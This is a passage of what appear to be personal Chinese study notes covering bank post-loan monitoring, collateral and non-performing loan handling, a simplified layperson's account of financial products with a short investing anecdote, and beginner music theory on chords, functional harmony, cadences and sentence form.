  18. 流失一大批财力雄厚的客户；
  19. 遇到台风、火灾、战争等严重自然灾害或社会灾难；
  20. 企业未实现预定的盈利目标；
  21. 关联交易频繁，关联企业之间资金流动不透明或不能明确解释。

监控内容

  • 固定资产贷款
    • 借款人和项目发起人的履约情况及信用状况、项目的建设和运营情况、宏观经济变化和市场波动情况、贷款担保的变动情况等
  • 项目融资业务
    • 项目的建设和经营情况
    • 根据贷款担保、市场环境、宏观经济变动等因素，定期对项目风险进行评价
  • 流动资金贷款
    • 析借款人经营、财务、信用、支付、担保及融资数量和渠道变化等状况
  • 集团客户
    • 集团客户的整体经营和财务变化情况
    • 借款人关联方及关联交易等情况及变化趋势
    • 客户或其主要股东向其他企业或个人提供抵（质）押物担保或保证情况

管理状况监控

含义

  • 对企业整体运营的系统情况调查，尤其是对不利变化情况的调查
  • 此部分调查的特点是对“人及其行为”的调查

企业管理状况风险的主要体现

  1. 企业发生重要人事变动，如高级管理人员或董事会成员变动，最主要领导者的行为发生变化，患病或死亡，或陷入诉讼纠纷，无法正常履行职责；
  2. 最高管理者独裁，领导层不团结，高级管理层之间出现严重的争论和分歧；职能部门矛盾尖锐，互相不配合，管理层素质偏低；
  3. 管理层对环境和行业中的变化反应迟缓或管理层经营思想变化，表现为极端的冒进或保守；
  4. 管理层对企业的发展缺乏战略性的计划，缺乏足够的行业经验和管理能力 ，导致经营计划没有实施及无法实施；
  5. 董事会和高级管理人员以短期利润为中心，不顾长期利益而使财务发生混乱、收益质量受到影响；
  6. 客户的主要股东、关联企业或母子公司等是否发生重大的不利变化；股东是否有抽逃资金的现象；客户是否出现兼并、收购、分立和重组等重大体制改革，股东结构发生实质性不利变化，可能影响到贷款安全；
  7. 股东间发生重大纠纷且不能在短期内妥善解决；股东或主要管理人员是否涉嫌重大贪污、受贿、舞弊、违法经营案件或其他重大负面信息；
  8. 中层管理者是否短期内多人离职，特别是财务、市场等要害部门的中层管理者离职；中层管理人员是否较为薄弱，企业人员更新过快或员工不足；是否出现重大劳资纠纷且不能在短期内妥善解决；
  9. 主要控制人或高级管理者出现个人征信问题、涉及民间借贷或涉及赌博等行为。

财务状况监控

意义

  • 财务状况变化是企业还款能力变化的直接反映

财务风险的主要体现

  1. 企业不能按期支付银行贷款本息；
  2. 经营性净现金流量持续为负值；
  3. 产品积压、存货周转率大幅下降；
  4. 应收账款异常增加；
  5. 流动资产占总资产比重大幅下降；
  6. 短期负债增加失当，长期负债大量增加；
  7. 银行账户混乱，到期票据无力支付；
  8. 企业销售额下降，成本提高，收益减少，经营亏损；
  9. 不能及时报送会计报表，或会计报表有造假现象；
  10. 财务记录和经营控制混乱；
  11. 企业关键财务指标是否发生重大不利变化，包括盈利能力、资产质量、债务风险、经营增长状况等指标恶化；
  12. 对外担保率过高、对单一客户担保额过大、有同质企业互保、担保链或对外担保已出现垫款的现象；
  13. 客户存在过度交易或盲目扩张行为，表现在长期投资与投资收益相比增长过快，营运资金与 EBITDA 相比金额较大等；
  14. 财务成本不合理上升、高成本融资不合理增加，显示企业流动性出现问题。

与银行往来情况监控

  1. 借款人在银行的存款有较大幅度下降；
  2. 在多家银行开户（公司开户数明显超过其经营需要）；
  3. 对短期贷款依赖较多，要求贷款展期；
  4. 还款来源没有落实或还款资金主要为非销售回款；
  5. 贷款超过了借款人的合理支付能力；
  6. 借款人有抽逃资金的现象，同时仍在申请新增贷款；
  7. 借款人在资金回笼后，在还款期限未到的情况下挪作他用，增加贷款风险；
  8. 客户授信出现贷款逾期、不能按时偿还利息等情况；
  9. 客户在金融机构贷款余额大幅变动或授信政策调整；
  10. 以本行贷款偿还其他银行债务；
  11. 存在套取贷款资金、关联方占用或民间借贷等嫌疑；
  12. 存在长期借新还旧或短贷长用严重问题，要求贷款展期。

担保管理

保证人管理

保证人日常管理

  • 分析保证人保证实力的变化
  • 了解保证人保证意愿的变化

贷款到期后保证人管理

抵（质）押品管理

目的

  • 对抵（质）押品要定期检查其完整性和价值变化情况，防止所有权人在未经银行同意的情况下擅自处理抵（质）押品

检查内容

  1. 抵（质）押品价值的变化情况；
  2. 抵（质）押品是否被妥善保管；
  3. 抵（质）押品有否被变卖出售或部分被变卖出售的行为；
  4. 抵（质）押品保险到期后有没有及时续投保险；
  5. 抵（质）押品有否被转移至不利于银行监控的地方；
  6. 抵押品有无未经贷款人同意的出租情况；
  7. 抵（质）押品的权属证明是否妥善保管、真实有效。

对检查中出现情况的应对

  • 抵押物价值非正常减少，应及时查明原因，采取有效措 施；
  • 抵押人的行为将造成抵押物价值的减少，应要求抵押人立即停止其行为；
  • 抵押人的行为已经造成抵押物价值的减少，应要求抵押人恢复抵押物的价值；
  • 抵押人无法完全恢复，应要求抵押人提供与减少的价值相当的担保，包括另行提供抵押物、权利质押或保证。

抵押人在抵押期间转让或处分抵押物的处理

  • 商业银行必须要求其提出书面申请，并经银行同意后予以办理

担保的补充机制

要求追加担保品的各种情形

  • 借款人提供的抵押品或质押物的抵（质）押权益尚未落实
  • 担保品的价值发生不利于银行的重大变化（如滞销、市价明显下跌）
  • 保证人保证资格或能力发生不利变化
  • 抵押人的行为使抵押物价值降低
  • 借款人财务状况恶化
  • 发生贷款风险增大的情况（如贷款展期、追加新贷款）

要求追加保证人的各种情形

  • 保证人的担保资格或担保能力发生不利变化，其自身的财务状况恶化；
  • 发生贷款风险增大的情况（如贷款展期、贷款逾期银行加收罚息）
  • 抵（质）押物出现不利变化

风险预警

风险预警程序

  • 信用信息的收集和传递
  • 风险分析
  • 风险处置
    • 预控性处置
    • 全面性处置
  • 后评价

风险预警指标体系

  • 财务状况的预警信号
  • 管理状况的预警信号
  • 经营状况的预警信号

风险预警的处置

  • 列入重点观察名单；
  • 要求客户限期纠正违约行为；
  • 要求完善担保条件、增加担保措施；
  • 降低整体授信额度，暂停发放新贷款或收回已发放的授信额度；
  • 动态调整资产风险分类。

信贷业务到期处理

贷款偿还操作及提前归还贷款处理

贷款偿还的一般操作过程

  • 业务操作部门向借款人发送还本付息通知单
  • 业务操作部门对逾期的贷款要及时发出催收通知单

借款人提前归还贷款的操作过程

  • 提前归还贷款指借款人希望改变贷款协议规定的还款计划，提前偿还全部或部分贷款，由借款人提出申请，经贷款行同意，缩短还款期限的行为
  • “提前还款”条款可以包括以下内容：
    1. 未经银行的书面同意，借款人不得提前还款；
    2. 借款人可以在贷款协议规定的最后支款日后、贷款到期日前的时间内提前还款；
    3. 借款人应在提前还款日前 30 天（或 60 天）以书面形式向银行递交提前还款的申 请，其中应列明借款人要求提前偿还的本金金额；
    4. 由借款人发出的提前还款申请应是不可撤销的，借款人有义务据此提前还款；
    5. 借款人可以提前偿还全部或部分本金，如果偿还部分本金，其金额应等于一期分期还款的金额或应为一期分期还款的整数倍，并同时偿付截至该提前还款日前一天（含该日）所发生的相应利息，以及应付的其他相应费用；
    6. 提前还款应按贷款协议规定的还款计划以倒序进行；
    7. 已提前偿还的部分不得要求再贷；
    8. 对于提前偿还的部分可以收取费用。

贷款展期处理

定义

  • 贷款展期指借款人不能或不希望按照贷款协议规定的还款计划按时偿付每期应偿付的贷款，由借款人提出申请，经贷款行审查同意，有限期地延长还款期限的行为

申请

  • 是否展期由银行决定

审批

  • 分级审批制度
  • 贷款展期的担保问题

展期贷款的管理

  • 贷款展期的期限
    • 现行短期贷款展期的期限累计不超过原贷款期限；
    • 中期贷款展期的期限累计不得超过原贷款期限的一半；
    • 长期贷款展期的期限累计不得超过 3 年。
    • 国家另有规定的除外。
  • 贷款展期后的利率
    • 银行可根据不同情况重新确定

展期贷款的偿还

贷款总结评价

  • 相关部门应在贷款本息收回后 10 日 内形成书面总结报告，便于其他相关部门借鉴参考
  • 贷款总结评价的内容主要包括：
    • 第一，贷款基本评价
    • 第二，贷款管理中出现的问题及解决措施
    • 第三，其他有益经验

档案管理

档案管理的原则和要求

原则

  • 管理制度健全
  • 人员职责明确
  • 档案门类齐全
  • 信息利用充分
  • 提供有效服务

要求

信贷档案实行集中统一管理原则
管理模式
  • 分段管理
  • 专人负责
  • 按时交接
  • 定期检查

信贷档案管理

分类

  • 一级信贷档案，是指信贷抵（质）押契证和有价证券及押品契证资料收据和信贷结清通知书。
  • 二级信贷档案，主要指法律文件和贷前审批及贷后管理 的有关文件

管理

一级信贷档案的管理
  1. 保管。
  2. 交接。
  3. 借阅。
  4. 结清、退还。
二级信贷档案的管理
  1. 保管。
  2. 交接。
  3. 借阅。
  4. 结清。

客户档案的管理

保管

  • 业务经办部门应设置专门的档案柜（与贷款文件、档案分开存放）集中存放档案。

范围

  1. 借款企业及担保企业的“证照”（即年检营业执照、法人代码本、税务登记证等）复印件；
  2. 借款企业及担保企业的信用评级资料；
  3. 借款企业及担保企业的开户情况；
  4. 借款企业及担保企业的验资报告；
  5. 借款企业及担保企业近三年的主要财务报表，包括资产负债表、损益表、现金流量表等，上市公司、“三资”企业需提供经审计的年报；
  6. 企业法定代表人、财务负责人的身份证或护照复印件；
  7. 反映该企业经营、资信（“三资”企业还应提交企业批准证书、公司章程等）及历次贷款情况的其他材料。

第十二章：贷款风险分类

概述

贷款分类的含义和标准

含义

  • 贷款分类就是把贷款按照风险程度将贷款划分为不同档次的过程，是银行信贷管理的重要组成部分
  • 其实质是以贷款的内在风险程度和债务人还款能力为核心，判断债务人及时足额偿还贷款本息或及时足额履约的可能性。

标准

  • 正常
  • 关注
  • 次级
  • 可疑
  • 损失

贷款分类的意义

  • 贷款分类是银行稳健经营的需要
  • 贷款分类是金融审慎监管的需要
  • 贷款分类是利用外部审计师辅助金融监管的需要
  • 贷款分类是不良资产的处置和银行重组的需要

贷款分类的原则

  • 真实性原则
  • 及时性原则
  • 重要性原则
  • 审慎性原则

贷款分类的对象

  • 表内贷款
  • 表外信贷

贷款风险分类方法

贷款分类的考虑因素

  1. 借款人的还款能力
  2. 贷款的担保
  3. 借款人的还款意愿
  4. 贷款项目的盈利能力
  5. 借款人的还款记录
  6. 贷款偿还的法律责任
  7. 银行的信贷管理状况

各类贷款的主要参考特征

  • TODO

重要参考因素

  • 贷款逾期时间
  • 抵（质）押品

第十三章：不良贷款管理

概述

定义

  • 不良贷款是指借款人未能按原定的贷款协议按时偿还商业银行的贷款本息，或者已有迹象表明借款人不可能按原定的贷款协议按时偿还商业银行的贷款本息而形成的贷款

成因

  • 社会融资结构的影响
  • 宏观经济体制的影响
  • 社会信用环境影响
  • 商业银行自身及外部监管问题

处置方式

现金清收

现金清收准备

  • 债权维护
  • 财产清查

常规清收

  • 直接追偿
  • 协商处理抵（质）押物
  • 委托第三方清收

依法收贷

  1. 提起诉讼
  2. 财产保全
    • 诉前财产保全
    • 诉中财产保全
  3. 申请支付令
  4. 申请强制执行
  5. 申请债务人破产

重组

概念和条件

概念
  • 贷款重组是指借款企业由于财务状况恶化或其他原因而出现还款困难，银行在充分评估贷款风险并与借款企业协商的基础上，修改或重新制订贷款偿还方案，调整贷款合同条款，控制和化解贷款风险的行为
条件
  • 具备以下条件之一，同时其他贷款条件没有因此明显恶化的，可考虑办理债务重组：
  • 通过债务重组，借款企业能够改善财务状况，增强偿债能力；
  • 通过债务重组，能够弥补贷款法律手续方面的重大缺陷；
  • 通过债务重组，能够追加或者完善担保条件；
  • 通过债务重组，能够使银行债务先行得到部分偿还；
  • 通过债务重组，可以在其他方面减少银行风险

方式

变更担保条件
  • 将抵押或质押转换为保证；
  • 将保证转换为抵押或质押， 或变更保证人；
  • 直接减轻或免除保证人的责任
调整还款期限
  • 主要根据企业偿债能力制定合理的还款期限，从而有利于鼓励企业增强还款意愿
调整利率
  • 主要将逾期利率调整为相应档次的正常利率或下浮，从而减轻企业的付息成本
借款企业变更
  • 主要是借款企业发生合并、分立、股份制改造等情形时，银行同意将部分或全部债务转移到第三方
减免贷款利息
  • 银行可以自主免除符合下列条件的表外欠息:
  • 借款企业信用评级在 BBB 级以下(含 BBB 级)；
  • 贷款本金为次级、可疑或损失类
债务转为资本
  • 债务转为资本是指债务人将债务转为资本，同时债权人将债权转为股权的债务重组方式
以资抵债
  • 见专门章节

司法型贷款重组

  • 破产重整

以资抵债

  • TODO

呆账核销

定义

  • 银行经过内部审核确认后，动用呆账准备金将无法收回或者长期难以收回的贷款或投资从账面上冲销，从而使账面反映的资产和收入更加真实

认定

  1. 破产、关闭、解散或撤销
  2. 重大灾害或意外事故
  3. 注销、吊销
  4. 未登记年检
  5. 触犯刑律
  6. 诉讼中止、未结
  7. 破产重整、和解
  8. 法院调解
  9. 丧失权力
  10. 抵债损失
  11. 垫款损失
  12. 处置余额
  13. 小金额
  14. 违法犯罪
  15. 中小企业和涉农类
  16. 投资损失
  17. 长期未核
  18. 国务院特批

申报

  • 借款人或者被投资企业资料
  • 经办行（公司）的调查报告
  • 其他相关材料

审批

  • 不得作为呆账核销的情况：
  • 借款人或者担保人有经济偿还能力，银行未按《呆账核销管理办法》规定，履行所有可能的措施和实施必要的程序追偿的债权；
  • 违反法律、法规的规定， 以各种形式逃废或者悬空的银行债权；
  • 因行政干预造成逃废或者造成悬空的银行债权；
  • 银行未向借款人和担保人追偿的债权；
  • 其他不应当核销的银行债权或者股权。

核销后的管理

  1. 检查工作
  2. 抓好催收工作
  3. 认真做好总结

经济和金融产品理解

总纲

一切源自劳动、需要、欲望和信任。

源头

  1. 交易的产生
    • 劳动，导致各个人手上掌握的原生资源不一致
    • 需要，导致人之间的接触
    • 综上，以物易物产生
  2. 货币的产生
    • 以物易物，价值不对等的情况时有发生
    • 寻找一般等价物
    • 综上，货币产生
  3. 货币价值标定
    • 物稀为贵，身份象征
    • 选定黄金，同时流通的黄金也是硬通货（虽说为什么世界各地都整齐地选择黄金而不是其他物品，我不清楚）
    • 黄金为最早的货币 -> 此后货币标定物定位黄金
  4. 以货币为等价物的市场开始繁荣，衍生出庞大的金融世界

基础概念

  • 交易：以高于成本价卖出，得以赚取货币购买需要的物品
  • 借贷
    1. 需要物品紧急，但没有足够的货币
    2. 向他人或机构以较低成本获取货币，这一行为称为“借贷”
    3. 作为向出借者的损失和赔偿，需以高于借贷额偿还，这一差值称为“利息”
    4. 借贷者和出借者之间的信任问题

开始衍生

前注：以下所有「借贷者」指借钱的人，「出借人」指被借钱的人，放贷人，也称为投资人。

最初

  1. 放贷从业合法性
    • 劳动的目的是赚取货币购买需要物品，核心为赚取货币
    • 放贷的核心目的也为赚取利息，也即赚取货币（诚然最开始的目的不是这个）
    • 综上，放贷也可视之为一种劳动，在货币方面的劳动，而非体力与脑力劳动
  2. 最开始一群勤劳能干并且聪明的人，通过劳动获得大量资本，开始从事放贷
  3. 现在这群人叫银行
  4. 该行为被称为放贷，后来被称为狭义上的“投资”，然后“投资”的概念被扩充和推广
  5. 所有形式的投资，其最底层的基石，都是以赚取利息而进行的借贷

金融产品演进

债券

  1. 当一个借贷者有多个出借人，情形变得复杂时，需要有一个证明，记录各出借人的放贷情况，出现债券（相当于借条，不过借条不能出售和购买，也没有利息）
  2. 借贷者依据出借人手上有多少债券，对其进行相应偿还
  3. 当借贷者为国家时，即为国债，通俗地说：国家向你借钱

基金

  1. 部分人开始从事职业“借贷”赚钱时，其余部分人开始眼红，但由于缺乏相关知识，于是诞生一种交易
  2. 普通人，通过将货币交给职业出借人，以间接赚取利润，这部分货币，叫做基金
  3. 基金包含两部分，一部分为给职业出借人的报酬，另一部分为出借人投资所需要的本金
  4. 简言之，即为职业出借人给普通人打工赚取报酬，只是这种打工为“放贷” 忽略职业出借人的报酬，可以认为普通人间接地，利用专业知识进行投资

股票

  1. 当一群劳动者成立的劳动集团被看好，大量投资者注入资金以获取未来可能更好的报酬
  2. 劳动集团向投资者许诺，为回报这些资金，发行另一种“债券”，没有时间限制，到时劳动集团也不必偿还，这种“债券”在集团赚取利益时，会根据投资者手上数目的多少，拿出一部分利益进行分红
  3. 也即，只要集团一直赚钱，投资者就一直有钱可拿，如果集团亏钱，则投资者相应注入的资金也会相对来讲亏损，当集团解散，这种“债券”便一文不值
  4. 这种“债券”叫做股票，与集团荣辱与共

复杂化

前注：所有金融形式都是基于以上三种方式，而最根本都是基于借贷这种行为。

债券交易

  1. 由于债券是另一种基于信任的“货币”，这种形式包含了出借者会获得的利益在里面，可以变相视为一种资本，可以进行投资和买卖
  2. 当出借者卖出债券，债券在此处作为一种商品，能够起到赚取利润的作用 当购买者买入债券，只要购买价不高于债券的本息，就能获得利润
    • 来看一个例子
    • A 向 B 借 100 元，给 B 100 元的债券，利率为 5%，即许诺到时候还 105 元
    • B 向 C 以 103 元卖出了这个债券，从盈亏上来说，借 100 元出去，卖了 103 元回来，净赚 3 元
    • C 以 103 元买下这个债券，届时 A 将以 105 元“赎回”债券，C 也净赚 2 元
  3. 简而言之：“我直接把债券卖给你，你到时候拿这个去问借贷者要钱。”

基金背后

货币基金

  1. 前面定义基金时，默认为货币进行交易，即为货币基金

  2. 图示关系如下：

    investor=>start: 投资者
manager=>operation: 基金经理
borrower=>end: 借贷者
investor(right)->manager(right)->borrower
债券基金

  1. 因为买入债券也能获取利润

  2. 所以当普通人，交给职业出借人的投资金额，买下的是别人的债券时，形成债券基金

  3. 简而言之：“我间接买了你的债券，到时候我用这个问借贷者要钱，这样你赚钱，我也赚钱”

  4. 图示关系如下：

    investor=>start: 投资者
manager=>operation: 基金经理
bond_master=>operation: 债券主人
borrower=>end: 借贷者
investor(right)->manager(right)->bond_master(right)->borrower
其他形式
  1. 因为基金本质上是别人拿你的钱去做投资
  2. 而广义上的投资就包括以上债券、基金、股票三种基本形式和其他衍生形式
  3. 所以会出现基金买基金，基金买债券（即上述的债券基金）、基金买股票等
  4. 会衍生出很多乱七八糟的东西
  5. 所以根据“风险分散”原则，一般基金经理等职业投资者会分比例购买债券、基金和股票，会包含股票在里面，而股票本身有时不稳定和动荡的
  6. 导致其基金本身也是不稳定和动荡的，而这又连锁了基金买基金这种形式的动荡
  7. 所以，基金在某种形式上是递归的，且是没有出口的递归形式
  8. 下文微笑曲线会提到基金升值和贬值，在此说明原理

衍生物

基金定投及微笑曲线

  1. 持续买入相同基金，定期，且定金额
  2. 世界上没有一直升值或者一直贬值的东西
  3. 当基金贬值时，相同的固定金额会买入更多份额的基金（总价不变，单价↓导致数量↑）
  4. 当基金升值时，买入的更多份额的基金，每份都会升值，所以相比基金贬值之前，会产生更大的收益
  5. 这种先亏钱，后赚钱的收益差距产生的曲线，俗称微笑曲线
  6. 但是，产生这种曲线需要经历一遍股市动荡，或者经济上下行，所以周期极长

保险

  • 牵扯内容太多，不讲

P2P 网贷

  1. 另一种形式的基金，中间的基金经理或者职业投资人，变更为信用担保平台，平台抽取经营费用
  2. 由于 P2P 网贷是给穷人进行小额放贷，一般银行或者投资者不愿意做这种风险高收益小的事情，所以投资者少，而穷人又因借款急用钱，故以高回报率著称
  3. 但也是因为放贷对象为穷人，所以会有本金收不回来的风险，导致逾期和坏账
  4. 即，该形式的最大亮点同时也是最大风险

银行理财

  1. 银行本质上也是通过借贷赚钱的集团，商业银行更是如此，所以是标准的投资者
  2. 故银行卖的理财产品，本质上还是债券、基金、股票等形式的一种，银行从中获取利益
  3. 投资者买到的银行理财产品，经由债券交易一节所提到的，也能赚取利润

黄金

  1. 黄金为硬通货，唯一标定物
  2. 讽刺的是，由于局势动荡，黄金的单价也会上下浮动不定
    • 局势动荡，人们都想买黄金保值，导致黄金价格上涨
    • 局势和平，黄金需求量不大，价格平稳或下跌
  3. 所以导致了以黄金为核心的交易，如纸黄金（其本质上为黄金形式的“债券”）

总结

金融世界是一个无限复杂、层层深套、没有出口的世界。

这个世界普遍行为是投资，投资的底层基石是借贷，而借贷的基础是信任。

当信任崩盘，一切都会崩盘。

金融危机就是这么来的。

任何一个因素都可能破坏这个方程的平衡。

所有形式的投资都指向了（非投资形式的）劳动，所以当大部分人都沉迷投资，只有少部分人劳动或无人劳动时，投资注定会带来与期望相反的极大失望。

“当所有人都沉迷于预测未来，未来注定崩盘。”

投资经历与成长

玄学投资时期

时间

  • 2023 年 9 月 20 日上下

方式

  • 选取重要之人的幸运数字、喜欢的工作日、名字的代表字
  • 得知这些信息之后，任选基金开始投资
    • 不看走势
    • 不看历史业绩
    • 不看基金经理
    • ……
  • 上述条件，命中的内容越多，得分越高，越作为理想投资对象

探索投资时期

音乐

所有音乐学习内容，收录于此。

包括不限于，乐理、和弦写作等。

其他资料

一些零碎的、杂七杂八的资料。

基础乐理（WIP/Deprecated）

简谱

简谱1234567
唱名doremifasollasi
音名CDEFGAB

音程关系

自然大调

  • 1　2　3　4　5　6　7　1
  • 全 全 半 全 全 全 半

自然小调

  • 1　2　3　4　5　6　7　1
  • 全 半 全 全 半 全 全

和弦

三和弦

  • 大三和弦：大三度 + 小三度
  • 小三和弦：小三度 + 大三度
  • 增三和弦：大三度 + 大三度
  • 减三和弦：小三度 + 小三度

七和弦

常用三和弦

总表

音阶音阶音阶音阶音阶音阶音阶
5671234
3456712
1234567
和弦名CDmEmFGAmB_
级数名IiiiiiIVVvivii°
功能名主和弦副下属和弦副属和弦下属和弦属和弦副主和弦导和弦

主和弦类

音阶音阶
53
31
16
和弦名CAm
级数名Ivi
功能名主和弦副主和弦

属和弦类

音阶音阶
27
75
53
和弦名GEm
级数名Viii
功能名属和弦副属和弦

下属和弦类

音阶音阶
16
64
42
和弦名FDm
级数名IVii
功能名下属和弦副下属和弦

导和弦类

音阶
4
2
7
和弦名B_
级数名vii°
功能名导和弦

作曲编曲入门

第一章第零节：概述

内容板块

  • 旋律写作方法
  • 和声创作方法
  • 旋律与和声的组合逻辑

旋律写作

  • 音程旋律
  • 音程关系
    • 半音
    • 全音
    • 度
  • 旋律发展趋势：张力
    • 上升进行
    • 下降进行
    • 静止进行
    • 交错进行

和声创作

  • 和弦
    • 三和弦
      • 主和弦
      • 属和弦
      • 下属和弦
    • 功能和声
    • 和弦转位
      • 原位
      • 第一转位（六和弦）
      • 第二转位（四六和弦）
  • 和弦旋律搭配
  • 终止进行
    • PAC
    • IAC
    • HC

曲式

  • 乐句
    • 展示部
    • 发展部
  • 乐段
    • 先行部
    • 后续部
  • 发展方法

第一章第一节：音程旋律

音程

简谱1234567
唱名doremifasollasi
音名CDEFGAB
  • C - C：一度
  • C - D：二度
  • C - E：三度
  • C - F：四度
  • C - G：五度
  • C - A：六度
  • C - B：七度
  • 注意：不准确，但目前足够

方法

  1. 确定调式调性
    • C 大调
  2. 挑一个音高
    • C6
  3. 接着随机写作
    • 音长随机
    • 音高进行方向
    • 同音重复
    • 级进进行 （二度）
    • 小跳进行 （三度）
    • 大跳进行 （多于三度）
    • 六度以上跳进
      • 必须反向进行音高
  4. 修改和调整
    • 音高
    • 音长
      • 拉长
      • 缩短
      • 拆分
      • 合并
      • 交换
      • 删除
  5. 直到满意

参考规范

  • 音域 12 度以内
    • 不好演奏
    • 不好演唱
    • 缺少连贯性
  • 级进跳进交错
    • 保持活力
    • 保持稳定

优缺点

  • 无需灵感，无需创意
  • 旋律多样，不会重复
  • 需要调整，否则难听

注意

  • 反复修改是常态

第一章第二节：旋律发展趋势

张力

  • 推动音乐发展
  • 积累张力
    • 上升进行
    • 短促音符
  • 释放张力
    • 下降进行
    • 悠长音符

四种发展趋势

  1. 上升进行
  2. 下降进行
  3. 交错进行
  4. 静止进行

FL Studio 音符切割工具

  • 选择上方音符切割工具
  • 或者
  • 按住键盘 右侧的 Shift 不要松开，进行音符切割

第一章第三节：和弦

和弦

  • 同时发出两个或多个声音
  • 声音的特征和功能
  • 分类、整理和研究

音程

度\半音0123456789101112
一度纯
二度小大
三度小大
四度纯增
五度减纯
六度小大
七度小大
八度纯
  • 上表中：零半音即纯一度、一半音即小二度、二半音即大二度，以此类推

三和弦

基础概念

  • 三个音符按三度关系叠加构成的和弦
  • 三个音符从低到高： 根音、三音和五音

分类

三和弦名音程（根音到三音）音程（三音到五音）听感
大三和弦大三度小三度阳光、乐观、明亮
小三和弦小三度大三度柔和、忧郁、暗淡
增三和弦大三度大三度不适
减三和弦小三度小三度不适

和弦表示法

音名表示法

  • 常用于爵士乐，现代流行乐
  • 表示法：和弦根音英文字母 + 和弦特征符号
  • 示例（以 C 为例）：
三和弦名大三和弦小三和弦增三和弦减三和弦
音名表示法C/CmajCm/CminC+/CaugC°/Cdim

罗马数字表示法

  • 常用于古典乐
  • 表示法
    • 罗马数字 + 和弦特征符号
    • 罗马数字 = 根音在当前调式中的位置
  • 示例（以 C 本音为例）：
三和弦名大三和弦小三和弦增三和弦减三和弦
音名表示法IiI+i°

数字低音表示法

  • 侧重于记录 音程转位
  • 表示法
    • 写出最低音
    • 一次往上写出三音，五音的距最低音的音程

FL Studio 和弦快速输入

  • 钢琴卷帘中，磁铁旁边的符号

第一章第四节：功能和声

前注

音阶音阶音阶音阶音阶音阶音阶
5671234
3456712
1234567
和弦名CDmEmFGAmB_
级数名IiiiiiIVVvivii°
功能名主和弦副下属和弦副属和弦下属和弦属和弦副主和弦导和弦

功能和声

概述

和声功能和弦性质符号
主功能I　iii　vi稳定T
属功能V　vii不稳定D
下属功能IV　ii介于两者之间S

主功能（Tonic Function）

概述

  • 符号为 T
  • 稳定、平稳、放松和满足
  • 让音乐 停下来
  • 典型出现在 开头和结尾
  • 稳定，缺少向下发展的动力

和弦

  • I（最强）
  • iii
  • vi

属功能（Dominant Function）

概述

  • 符号为 D
  • 不稳定
  • 强烈的、继续发展下去的去世
  • 穿插在音乐发展过程中

和弦

  • V（最强）
  • vii°

下属功能（Subdominant Function）

概述

  • 符号为 S
  • 不稳定，但并不特别不稳定
  • 不稳定性：属功能 > 下属功能 > 主功能
  • 一般增加和弦连接多样性

和弦

  • IV（典型）
  • ii

功能和声的作用

  • 写出 和声进行（Harmonic Progression）
  • 推动音乐发展
  • 使用功能和声写作的和声进行，称为 功能进行（Functional Progression）

功能进行

  • 以主功能开头
  • 属功能 下一个必须连接到 主功能
  • 其他任意

名称由来

音名CDEFGAB
常用唱名doremifasollasi/ti
第二种唱名系统TonicSupertonicMediantSubdominantDominantSubmediantLeading Tone
上文翻译主音上主音中音下属音属音下中音导音

第一章第五节：流畅连接和弦

和弦转位

  • 和音一个音或几个音，提升或降低，一个或几个八度

概念

  • 根音、三音和五音不随音高发生变化
  • 最高音、中间音、最低音，始终以音高高低为准

三和弦转位分类

原位和弦

  • 最低音为根音
  • 不进行转位

第一转位（Six Chord，六和弦）

  • 最低音为三音

第二转位（Six-Four Chord，四六和弦）

  • 最低音为五音

第一章第六节：旋律和声搭配

考虑方面

  • 功能作用
  • 谐和程度

功能作用搭配

  • 旋律张力
    • 积攒或释放
  • 和声功能
    • 稳定的主功能
    • 不稳定的属功能和下属功能
  • 两者在功能作用上是否相同

谐和程度

  • 旋律音符，最好为和弦的和弦内音

和弦内音（Chord Tone）

  • 组成和弦的音符，即为和弦内音
  • 例：Cmaj = C E G

提升审美

  • 刻板练习
  • 听歌
    • 关注旋律与和声发展
    • 偶尔为之即可
    • 听歌 != 学习音乐
  • 反复练习
    • 最笨
    • 最枯燥
    • 最浪费时间
    • 最有效

第一章第七节：终止

概念

  • 一种和声进行方式
  • 标记一个结束
  • 由多个和声组成
  • 旋律与和声相互组合

PAC（Perfect Authentic Cadence，完满正格终止）

  • 和弦进行必须由 V 和弦转为 I 和弦
  • V，I 和弦不得使用转位
  • 旋律必须结束在主音（C 大调即为 C）

IAC（Imperfect Authentic Cadence，不完满正格终止）

导和弦 IAC

  • 和弦进行由 vii° 和弦转为 I

转位 IAC

  • 在 PAC 基础上，和弦使用转位

原位 IAC

  • 在 PAC 基础上，旋律音不结束在主音即可

HC（Half Cadence，半终止）

  • 和弦停止在 V 即可

终止进行和功能进行的区别

  • 组成
    • 功能进行：纯粹由和声组成
    • 终止进行：和声旋律相配合
  • 位置
    • 功能进行：任意位置
    • 终止进行： 音乐段落结尾

第一章第八节：曲式

主题（Theme）

概述

  • 书写基本音乐单元

分类

  • 紧凑型主题（Tight-Knit Theme）
    • 乐句
    • 乐段
    • 小型二段体
    • 小型三段体
  • 松散型主题（Loose Theme）
  • 混合主题（Hybrid Theme）
  • 复合主题（Compound Theme）
    • 复乐句
    • 复乐段

音乐形式（Music Form）

概述

  • 将主题组成曲目
  • 不可能掌握所有的音乐形式
    • 太多
    • 可以创新
  • 此处只讨论标准的音乐形式

基本形式

  • 二段体音乐形式
  • 回旋曲音乐形式
  • 主歌副歌体音乐形式

第一章第九节：乐句概述

定义

  • 乐句（Sentence）是由展示部（Presentation Phase）和发展部（Continuation Phase）构成的，完整的八小节音乐主题（Theme），它必须以终止（Cadence）结尾

展示部（Presentation Phase）

概述

  • 乐句前四个小节
  • 作用
    • 展示主要特征
    • 奠定基调
  • 基本结构
    • 基本乐思
    • 重复乐思

展示部旋律重复方法

  • 严格重复（Exact Repetition）
  • 模进重复（Sequential Repetition）
  • 应答重复（Statement-Response Repetition）

发展部（Continuation Phase）

概述

  • 乐句后四个小节
  • 作用
    • 打破展示部稳定性
    • 以终止结束乐句
  • 基本结构
    • 发展乐思
    • 终止

发展部可用技术

  • 旋律加速（Surface Rhythm Acceleration）
  • 和声加速（Harmonic Acceleration）
  • 模进进行（Sequential Progression）
  • 碎片化（Fragmentation）
  • 特征去除（Liquidation）

第一章第十节：乐句展示部

定义

  • 乐句的前四个小节

作用

  • 展示主要特征
  • 奠定基调

写法

写出乐思（Basic Idea）

  • 音程旋律
  • 主功能和弦

重复乐思（Basic Idea）

严格重复

  • 完全严格照抄
  • 调节旋律音高（调高或降低音程）
  • 稍微修改旋律

模进重复

  • 使用 模进进行 重复乐思

  • 旋律与和声同时进行相同音程的调节

  • 分类

    • 变化模进：只要求音程，不分音程大小（大三度小三度）
    • 严格模进：音程大小必须一致

应答重复

  • 一问一答
    • 提问：必须为 主功能和声
    • 应答：必须为 属功能和声
